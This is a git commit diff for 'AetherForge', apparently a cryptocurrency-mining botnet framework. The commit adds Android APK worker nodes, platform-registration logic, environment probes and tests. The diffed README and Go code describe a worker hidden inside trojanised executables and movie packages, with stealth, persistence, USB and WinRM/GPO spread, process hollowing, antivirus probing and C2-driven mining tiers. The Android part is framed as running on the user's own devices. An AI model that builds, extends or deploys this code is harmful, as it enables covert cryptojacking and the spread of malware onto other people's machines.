Add Android APK fleet nodes with Crucible UI integration and tests.
APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
@@ -37,13 +37,15 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n
|
|||||||
|-------|----------------|
|
|-------|----------------|
|
||||||
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
| **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool |
|
||||||
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, **[field wiki](/docs/)** at `/docs/` |
|
| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, **[field wiki](/docs/)** at `/docs/` |
|
||||||
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
| **Worker agent** | Cross-platform binary (Windows / Linux / macOS / **Android APK fleet node**) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry |
|
||||||
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
| **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable |
|
||||||
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
| **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders |
|
||||||
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
|
| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags |
|
||||||
|
|
||||||
You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard.
|
||||||
|
|
||||||
|
**Android APK fleet nodes** embed the same Go worker inside an APK; the Java wrapper sets `AETHERFORGE_SERVER_URL`, `AETHERFORGE_WORKER_NUMBER`, and `AETHERFORGE_PLATFORM=android` before spawn. They register as `platform=android` in the fleet roster (🤖 icon in Crucible), report Wi-Fi / battery / foreground-service probes in Access Depth, and use a shortened mining onion (foreground service → in-process CPU) instead of the full desktop tier chain.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## What You Get
|
## What You Get
|
||||||
|
|||||||
@@ -128,7 +128,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
|
|||||||
WorkerNumber: workerNumberFromConfig(cfg),
|
WorkerNumber: workerNumberFromConfig(cfg),
|
||||||
BuildID: cfg.BuildID,
|
BuildID: cfg.BuildID,
|
||||||
Version: config.Version,
|
Version: config.Version,
|
||||||
Platform: runtime.GOOS,
|
Platform: cfg.RegistrationPlatform(),
|
||||||
Arch: runtime.GOARCH,
|
Arch: runtime.GOARCH,
|
||||||
ForgeFlags: forgeFlagsFromConfig(cfg),
|
ForgeFlags: forgeFlagsFromConfig(cfg),
|
||||||
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
|
DeployTiers: buildDeployTierStatuses(deployOrder, attempts),
|
||||||
@@ -258,13 +258,13 @@ func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.T
|
|||||||
}
|
}
|
||||||
|
|
||||||
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
|
func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
|
||||||
lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
|
lanes := spreadLanesForPlatform(cfg.RegistrationPlatform(), deployOrder)
|
||||||
mining := make([]string, 0, len(miningChain))
|
mining := make([]string, 0, len(miningChain))
|
||||||
for _, t := range miningChain {
|
for _, t := range miningChain {
|
||||||
mining = append(mining, string(t))
|
mining = append(mining, string(t))
|
||||||
}
|
}
|
||||||
return AICapabilitiesSnapshot{
|
return AICapabilitiesSnapshot{
|
||||||
Platform: runtime.GOOS,
|
Platform: cfg.RegistrationPlatform(),
|
||||||
HolePunch: cfg.HolePunch,
|
HolePunch: cfg.HolePunch,
|
||||||
RemoteAggressive: cfg.RemoteAggressive,
|
RemoteAggressive: cfg.RemoteAggressive,
|
||||||
MeshP2P: cfg.MeshP2P,
|
MeshP2P: cfg.MeshP2P,
|
||||||
@@ -279,7 +279,10 @@ func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningC
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func spreadLanesForPlatform(goos string, order []string) []string {
|
func spreadLanesForPlatform(platform string, order []string) []string {
|
||||||
|
if platform == "android" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
winOnly := map[string]bool{
|
winOnly := map[string]bool{
|
||||||
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
|
"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
|
||||||
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
|
"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
|
||||||
@@ -287,10 +290,10 @@ func spreadLanesForPlatform(goos string, order []string) []string {
|
|||||||
linuxOnly := map[string]bool{"linux": true}
|
linuxOnly := map[string]bool{"linux": true}
|
||||||
out := make([]string, 0, len(order))
|
out := make([]string, 0, len(order))
|
||||||
for _, lane := range order {
|
for _, lane := range order {
|
||||||
if winOnly[lane] && goos != "windows" {
|
if winOnly[lane] && platform != "windows" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if linuxOnly[lane] && goos != "linux" {
|
if linuxOnly[lane] && platform != "linux" {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
out = append(out, lane)
|
out = append(out, lane)
|
||||||
|
|||||||
@@ -354,7 +354,7 @@ func (c *AgentClient) authenticate() error {
|
|||||||
MeshP2P: c.cfg.MeshP2P,
|
MeshP2P: c.cfg.MeshP2P,
|
||||||
AutoSpread: c.cfg.AutoSpread,
|
AutoSpread: c.cfg.AutoSpread,
|
||||||
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||||
Platform: runtime.GOOS,
|
Platform: c.cfg.RegistrationPlatform(),
|
||||||
Arch: runtime.GOARCH,
|
Arch: runtime.GOARCH,
|
||||||
OSVersion: deploy.HostOSVersion(),
|
OSVersion: deploy.HostOSVersion(),
|
||||||
MacAddress: primaryMACAddress(),
|
MacAddress: primaryMACAddress(),
|
||||||
|
|||||||
@@ -87,7 +87,7 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
|||||||
|
|
||||||
var d MiningDiagnostics
|
var d MiningDiagnostics
|
||||||
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
||||||
d.Platform = runtime.GOOS
|
d.Platform = c.cfg.RegistrationPlatform()
|
||||||
d.ConfiguredExecution = c.cfg.MinerExecution
|
d.ConfiguredExecution = c.cfg.MinerExecution
|
||||||
d.ExecutionMode = execMode
|
d.ExecutionMode = execMode
|
||||||
d.ContainerAvailable = containerRT.Available
|
d.ContainerAvailable = containerRT.Available
|
||||||
|
|||||||
@@ -31,6 +31,10 @@ func MiningDiagnosticsReady(d MiningDiagnostics) bool {
|
|||||||
|
|
||||||
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
|
||||||
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
|
||||||
|
if c.cfg.MiningDisabled || c.cfg.ApkMode {
|
||||||
|
log.Printf("[mining] disabled at forge (apk_mode=%v mining_disabled=%v)", c.cfg.ApkMode, c.cfg.MiningDisabled)
|
||||||
|
return
|
||||||
|
}
|
||||||
const maxWait = 120 * time.Second
|
const maxWait = 120 * time.Second
|
||||||
deadline := time.Now().Add(maxWait)
|
deadline := time.Now().Add(maxWait)
|
||||||
ticker := time.NewTicker(5 * time.Second)
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ import (
|
|||||||
"encoding/json"
|
"encoding/json"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
"crypto-miner-agent/job"
|
"crypto-miner-agent/job"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -45,6 +46,19 @@ func TestAuthPayloadJSONRoundTrip(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestAuthPayloadPlatformFromEnv(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
||||||
|
if got := config.RegistrationPlatform(); got != "android" {
|
||||||
|
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
||||||
|
}
|
||||||
|
in := AuthPayload{Platform: config.RegistrationPlatform(), Arch: "arm64"}
|
||||||
|
var out AuthPayload
|
||||||
|
roundTrip(t, in, &out)
|
||||||
|
if out.Platform != "android" {
|
||||||
|
t.Fatalf("auth platform = %q want android", out.Platform)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
func TestAuthResponseJSONRoundTrip(t *testing.T) {
|
||||||
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
|
||||||
var out AuthResponse
|
var out AuthResponse
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
|
|||||||
}
|
}
|
||||||
r := &FullSysCheckReport{
|
r := &FullSysCheckReport{
|
||||||
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
Platform: runtime.GOOS,
|
Platform: cfg.RegistrationPlatform(),
|
||||||
Arch: runtime.GOARCH,
|
Arch: runtime.GOARCH,
|
||||||
OSVersion: deploy.HostOSVersion(),
|
OSVersion: deploy.HostOSVersion(),
|
||||||
WorkerName: cfg.WorkerName,
|
WorkerName: cfg.WorkerName,
|
||||||
|
|||||||
@@ -116,6 +116,11 @@ type BuiltinConfig struct {
|
|||||||
LotlOnionEnabled bool
|
LotlOnionEnabled bool
|
||||||
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||||||
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
||||||
|
|
||||||
|
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||||
|
ApkMode bool
|
||||||
|
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
|
||||||
|
MiningDisabled bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||||
@@ -228,6 +233,34 @@ func Load() RuntimeConfig {
|
|||||||
return RuntimeConfig{BuiltinConfig: b}
|
return RuntimeConfig{BuiltinConfig: b}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// RegistrationPlatform returns the fleet registration OS label. APK wrapper sets
|
||||||
|
// AETHERFORGE_PLATFORM=android; forge may also bake ApkMode.
|
||||||
|
func RegistrationPlatform() string {
|
||||||
|
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
|
||||||
|
return strings.ToLower(p)
|
||||||
|
}
|
||||||
|
b := GetBuiltinConfig()
|
||||||
|
if b.ApkMode {
|
||||||
|
return "android"
|
||||||
|
}
|
||||||
|
return runtime.GOOS
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c RuntimeConfig) RegistrationPlatform() string {
|
||||||
|
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
|
||||||
|
return strings.ToLower(p)
|
||||||
|
}
|
||||||
|
if c.ApkMode {
|
||||||
|
return "android"
|
||||||
|
}
|
||||||
|
return runtime.GOOS
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsAndroidPlatform reports APK fleet-node workers (env override or ApkMode forge flag).
|
||||||
|
func IsAndroidPlatform() bool {
|
||||||
|
return RegistrationPlatform() == "android"
|
||||||
|
}
|
||||||
|
|
||||||
func (c RuntimeConfig) EffectiveThreads() int {
|
func (c RuntimeConfig) EffectiveThreads() int {
|
||||||
mode := strings.ToLower(c.ThreadMode)
|
mode := strings.ToLower(c.ThreadMode)
|
||||||
if mode == "fixed" {
|
if mode == "fixed" {
|
||||||
|
|||||||
34
agent/config/platform_test.go
Normal file
34
agent/config/platform_test.go
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"runtime"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRegistrationPlatformDefault(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_PLATFORM", "")
|
||||||
|
if got := RegistrationPlatform(); got != runtime.GOOS {
|
||||||
|
t.Fatalf("RegistrationPlatform() = %q want %q", got, runtime.GOOS)
|
||||||
|
}
|
||||||
|
if IsAndroidPlatform() {
|
||||||
|
t.Fatal("IsAndroidPlatform() true without override")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRegistrationPlatformFromEnv(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
||||||
|
if got := RegistrationPlatform(); got != "android" {
|
||||||
|
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
||||||
|
}
|
||||||
|
if !IsAndroidPlatform() {
|
||||||
|
t.Fatal("IsAndroidPlatform() false with AETHERFORGE_PLATFORM=android")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRegistrationPlatformApkMode(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_PLATFORM", "")
|
||||||
|
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ApkMode: true}}
|
||||||
|
if got := cfg.RegistrationPlatform(); got != "android" {
|
||||||
|
t.Fatalf("RegistrationPlatform() = %q want android", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
"os/exec"
|
"os/exec"
|
||||||
"runtime"
|
"runtime"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
)
|
)
|
||||||
|
|
||||||
// EnvironmentProbes captures host capabilities that drive tier selection.
|
// EnvironmentProbes captures host capabilities that drive tier selection.
|
||||||
@@ -16,6 +18,9 @@ type EnvironmentProbes struct {
|
|||||||
GPU bool `json:"gpu"`
|
GPU bool `json:"gpu"`
|
||||||
AVBlocksExe bool `json:"av_blocks_exe"`
|
AVBlocksExe bool `json:"av_blocks_exe"`
|
||||||
WebView2 bool `json:"webview2"`
|
WebView2 bool `json:"webview2"`
|
||||||
|
Wifi bool `json:"wifi,omitempty"`
|
||||||
|
Battery bool `json:"battery,omitempty"`
|
||||||
|
ForegroundService bool `json:"foreground_service,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
|
// probeExecCommand is exec.Command; tests override via SetProbeExecCommand.
|
||||||
@@ -56,6 +61,12 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
|||||||
Docker: rt.Available,
|
Docker: rt.Available,
|
||||||
GPU: gpuProbeFn(),
|
GPU: gpuProbeFn(),
|
||||||
}
|
}
|
||||||
|
if config.IsAndroidPlatform() {
|
||||||
|
p.Wifi = envTruthy("AETHERFORGE_WIFI_CONNECTED")
|
||||||
|
p.Battery = envTruthy("AETHERFORGE_BATTERY_OK")
|
||||||
|
p.ForegroundService = envTruthy("AETHERFORGE_FOREGROUND_SERVICE")
|
||||||
|
return p
|
||||||
|
}
|
||||||
if runtime.GOOS == "windows" {
|
if runtime.GOOS == "windows" {
|
||||||
wsl := WSLDetector()
|
wsl := WSLDetector()
|
||||||
p.WSL = wsl.Available
|
p.WSL = wsl.Available
|
||||||
@@ -70,6 +81,11 @@ func ProbeEnvironment(runtimeFn func() ContainerRuntimeInfo) EnvironmentProbes {
|
|||||||
return p
|
return p
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func envTruthy(key string) bool {
|
||||||
|
v := strings.TrimSpace(os.Getenv(key))
|
||||||
|
return v == "1" || strings.EqualFold(v, "true")
|
||||||
|
}
|
||||||
|
|
||||||
func inferAVBlocksExe() bool {
|
func inferAVBlocksExe() bool {
|
||||||
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
|
if v := strings.TrimSpace(os.Getenv("AETHERFORGE_AV_BLOCKS_EXE")); v == "1" || strings.EqualFold(v, "true") {
|
||||||
return true
|
return true
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ const (
|
|||||||
TierGPUCompute LOTLTier = "gpu_compute"
|
TierGPUCompute LOTLTier = "gpu_compute"
|
||||||
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
TierGPUSubprocess LOTLTier = "gpu_subprocess"
|
||||||
TierStratumDirect LOTLTier = "stratum_direct"
|
TierStratumDirect LOTLTier = "stratum_direct"
|
||||||
|
TierForegroundService LOTLTier = "foreground_service"
|
||||||
)
|
)
|
||||||
|
|
||||||
// TierAttempt records one tier try for C2/UI diagnostics.
|
// TierAttempt records one tier try for C2/UI diagnostics.
|
||||||
@@ -89,9 +90,25 @@ func DefaultMiningTierPolicy() MiningTierPolicy {
|
|||||||
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
return MiningTierPolicy{TierOrder: append([]LOTLTier(nil), DefaultTierOrder...)}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DefaultAndroidTierOrder is the APK foreground-service → in-process mining path.
|
||||||
|
var DefaultAndroidTierOrder = []LOTLTier{TierForegroundService, TierCPUInprocess}
|
||||||
|
|
||||||
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
// SelectMiningTierChain returns the ordered tier onion from server policy with
|
||||||
// local eligibility overrides from environment probes and forge execution mode.
|
// local eligibility overrides from environment probes and forge execution mode.
|
||||||
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
func SelectMiningTierChain(probes EnvironmentProbes, policy MiningTierPolicy, cfg config.RuntimeConfig) (chain, skipped []LOTLTier) {
|
||||||
|
if config.IsAndroidPlatform() {
|
||||||
|
chain = append([]LOTLTier(nil), DefaultAndroidTierOrder...)
|
||||||
|
for _, tier := range DefaultTierOrder {
|
||||||
|
if tier != TierForegroundService && tier != TierCPUInprocess {
|
||||||
|
skipped = append(skipped, tier)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if policy.ForceTier != "" && tierEligible(policy.ForceTier, probes, cfg, nil) {
|
||||||
|
return []LOTLTier{policy.ForceTier}, skipped
|
||||||
|
}
|
||||||
|
return chain, skipped
|
||||||
|
}
|
||||||
|
|
||||||
base := policy.TierOrder
|
base := policy.TierOrder
|
||||||
if len(base) == 0 {
|
if len(base) == 0 {
|
||||||
base = DefaultTierOrder
|
base = DefaultTierOrder
|
||||||
@@ -220,6 +237,8 @@ func tierEligible(tier LOTLTier, probes EnvironmentProbes, cfg config.RuntimeCon
|
|||||||
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
return probes.DotNet && strings.TrimSpace(cfg.Wallet) != "" && strings.TrimSpace(cfg.PoolHost) != ""
|
||||||
case TierCPUInprocess:
|
case TierCPUInprocess:
|
||||||
return true
|
return true
|
||||||
|
case TierForegroundService:
|
||||||
|
return probes.ForegroundService || config.IsAndroidPlatform()
|
||||||
case TierGPUSubprocess:
|
case TierGPUSubprocess:
|
||||||
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
return probes.GPU && cfg.GPUEnabled && strings.TrimSpace(cfg.RVNWallet) != ""
|
||||||
case TierStratumDirect:
|
case TierStratumDirect:
|
||||||
@@ -243,7 +262,7 @@ func PrimaryTiers(chain []LOTLTier) []LOTLTier {
|
|||||||
var out []LOTLTier
|
var out []LOTLTier
|
||||||
for _, t := range chain {
|
for _, t := range chain {
|
||||||
switch t {
|
switch t {
|
||||||
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierWMI, TierScheduledTask:
|
case TierExeSubprocess, TierDockerLoad, TierContainer, TierWSL, TierPSInMemory, TierDotnet, TierCPUInprocess, TierForegroundService, TierWMI, TierScheduledTask:
|
||||||
out = append(out, t)
|
out = append(out, t)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -273,6 +292,8 @@ func TierToMiningMethod(tier LOTLTier) (MiningMethod, bool) {
|
|||||||
return MethodWSL, true
|
return MethodWSL, true
|
||||||
case TierCPUInprocess:
|
case TierCPUInprocess:
|
||||||
return MethodInProcess, true
|
return MethodInProcess, true
|
||||||
|
case TierForegroundService:
|
||||||
|
return MethodInProcess, true
|
||||||
case TierGPUSubprocess:
|
case TierGPUSubprocess:
|
||||||
return MethodGPUSubprocess, true
|
return MethodGPUSubprocess, true
|
||||||
case TierStratumDirect:
|
case TierStratumDirect:
|
||||||
|
|||||||
@@ -235,3 +235,19 @@ func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
|
|||||||
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
t.Fatalf("stub tier should fail: %v", *exeAttempt)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestSelectMiningTierChainAndroid(t *testing.T) {
|
||||||
|
t.Setenv("AETHERFORGE_PLATFORM", "android")
|
||||||
|
probes := EnvironmentProbes{
|
||||||
|
Wifi: true,
|
||||||
|
Battery: true,
|
||||||
|
ForegroundService: true,
|
||||||
|
}
|
||||||
|
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
|
||||||
|
if len(chain) != 2 || chain[0] != TierForegroundService || chain[1] != TierCPUInprocess {
|
||||||
|
t.Fatalf("android chain=%v want [foreground_service cpu_inprocess]", chain)
|
||||||
|
}
|
||||||
|
if len(skipped) < 10 {
|
||||||
|
t.Fatalf("expected desktop tiers skipped, got %v", skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
6
android/.gitignore
vendored
Normal file
6
android/.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
agent-app/build/
|
||||||
|
agent-app/.gradle/
|
||||||
|
agent-app/local.properties
|
||||||
|
agent-app/src/main/assets/agent
|
||||||
|
*.apk
|
||||||
|
*.android-bak
|
||||||
81
android/README.md
Normal file
81
android/README.md
Normal file
@@ -0,0 +1,81 @@
|
|||||||
|
# AetherForge Agent APK (Phase 1)
|
||||||
|
|
||||||
|
Install the APK on **your own devices** so the embedded fleet agent joins the command-deck fleet table over WebSocket/C2. CPU mining is **off by default** in the baked config.
|
||||||
|
|
||||||
|
## Build
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
|
||||||
|
- Go 1.26+
|
||||||
|
- Android SDK (`ANDROID_HOME` or `ANDROID_SDK_ROOT`)
|
||||||
|
- Gradle wrapper in `agent-app/` (generate once with `gradle wrapper` if missing)
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Windows
|
||||||
|
$env:AETHERFORGE_SERVER_URL = "https://your-deck.example.com:8989"
|
||||||
|
$env:AETHERFORGE_WORKER_NAME = "pixel-tab-01"
|
||||||
|
$env:AETHERFORGE_FLEET_SECRET = "your-fleet-secret" # optional; do not commit
|
||||||
|
.\android\build-apk.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Linux/macOS
|
||||||
|
export AETHERFORGE_SERVER_URL="https://your-deck.example.com:8989"
|
||||||
|
export AETHERFORGE_WORKER_NAME="pixel-tab-01"
|
||||||
|
export AETHERFORGE_FLEET_SECRET="your-fleet-secret"
|
||||||
|
./android/build-apk.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
Output:
|
||||||
|
|
||||||
|
`android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk`
|
||||||
|
|
||||||
|
The build script:
|
||||||
|
|
||||||
|
1. Renders `assets/config.json` and a temporary `agent/config/builtin.go`
|
||||||
|
2. Cross-compiles `GOOS=linux GOARCH=arm64 CGO_ENABLED=0` from `agent/` into `assets/agent`
|
||||||
|
3. Runs `assembleDebug`
|
||||||
|
|
||||||
|
## Install (adb)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
adb install -r android/agent-app/build/outputs/apk/debug/aetherforge-agent.apk
|
||||||
|
adb shell am start -n com.aetherforge.agent/.MainActivity
|
||||||
|
```
|
||||||
|
|
||||||
|
## First launch — permissions
|
||||||
|
|
||||||
|
Open the app once. You will see:
|
||||||
|
|
||||||
|
> **Your fleet node** — tap Allow on each prompt.
|
||||||
|
|
||||||
|
The app requests **all runtime permissions in one batch**:
|
||||||
|
|
||||||
|
- `POST_NOTIFICATIONS` (API 33+) — required for the foreground service notification
|
||||||
|
- `NEARBY_WIFI_DEVICES` / location — fleet Wi‑Fi diagnostics where the OS requires it
|
||||||
|
|
||||||
|
Then it opens **battery optimization** settings (`REQUEST_IGNORE_BATTERY_OPTIMIZATIONS`). Android cannot auto-grant these; you must tap Allow / Don't optimize.
|
||||||
|
|
||||||
|
After permissions, a low-priority persistent notification (**Fleet sync**) keeps `AgentService` alive. `BootReceiver` restarts the service on `BOOT_COMPLETED`.
|
||||||
|
|
||||||
|
## How it runs
|
||||||
|
|
||||||
|
1. `AgentService` extracts `assets/agent` (linux/arm64) to `filesDir/bin/agent-arm64`, marks it executable, and spawns it with `--run`.
|
||||||
|
2. Environment sets `HOME`/`TMPDIR` to the app private files directory.
|
||||||
|
3. The agent uses forge-baked `builtin.go` values (server URL, worker name, fleet secret). Mining defaults to idle with `IdleThresholdPct: 0` (no CPU mining unless re-forged or changed by policy).
|
||||||
|
|
||||||
|
## Limitations
|
||||||
|
|
||||||
|
- **No root** — cannot install as system app or disable OEM kill policies globally.
|
||||||
|
- **Notification required** — foreground service must show a notification on modern Android.
|
||||||
|
- **Binary execution** — spawning a `GOOS=linux` binary via `ProcessBuilder` works on many arm64 devices (static Go build) but **some OEMs block exec from app sandboxes**. If the agent never appears in the fleet table, check `adb logcat -s AetherForge AetherForge:agent`. A native `GOOS=android` JNI approach is Phase 2 if exec fails on your hardware.
|
||||||
|
- **Secrets** — pass `AETHERFORGE_FLEET_SECRET` at build time via environment; never commit fleet secrets.
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
```bash
|
||||||
|
go test ./android/forge/... -count=1
|
||||||
|
bash android/smoke-gradle.sh
|
||||||
|
```
|
||||||
|
|
||||||
|
`smoke-gradle.sh` validates the Gradle project layout and runs `./gradlew help` when the wrapper is present.
|
||||||
57
android/agent-app/app/build.gradle.kts
Normal file
57
android/agent-app/app/build.gradle.kts
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
plugins {
|
||||||
|
id("com.android.application")
|
||||||
|
id("org.jetbrains.kotlin.android")
|
||||||
|
}
|
||||||
|
|
||||||
|
android {
|
||||||
|
namespace = "com.aetherforge.agent"
|
||||||
|
compileSdk = 34
|
||||||
|
|
||||||
|
defaultConfig {
|
||||||
|
applicationId = "com.aetherforge.agent"
|
||||||
|
minSdk = 26
|
||||||
|
targetSdk = 34
|
||||||
|
versionCode = 1
|
||||||
|
versionName = "1.0.0-phase1"
|
||||||
|
|
||||||
|
ndk {
|
||||||
|
abiFilters += listOf("arm64-v8a", "armeabi-v7a")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
buildTypes {
|
||||||
|
release {
|
||||||
|
isMinifyEnabled = false
|
||||||
|
}
|
||||||
|
debug {
|
||||||
|
applicationIdSuffix = ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
compileOptions {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_17
|
||||||
|
targetCompatibility = JavaVersion.VERSION_17
|
||||||
|
}
|
||||||
|
|
||||||
|
kotlinOptions {
|
||||||
|
jvmTarget = "17"
|
||||||
|
}
|
||||||
|
|
||||||
|
packaging {
|
||||||
|
jniLibs {
|
||||||
|
useLegacyPackaging = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
applicationVariants.all {
|
||||||
|
outputs.all {
|
||||||
|
val output = this as com.android.build.gradle.internal.api.BaseVariantOutputImpl
|
||||||
|
output.outputFileName = "aetherforge-agent.apk"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("androidx.core:core-ktx:1.12.0")
|
||||||
|
implementation("androidx.appcompat:appcompat:1.6.1")
|
||||||
|
}
|
||||||
49
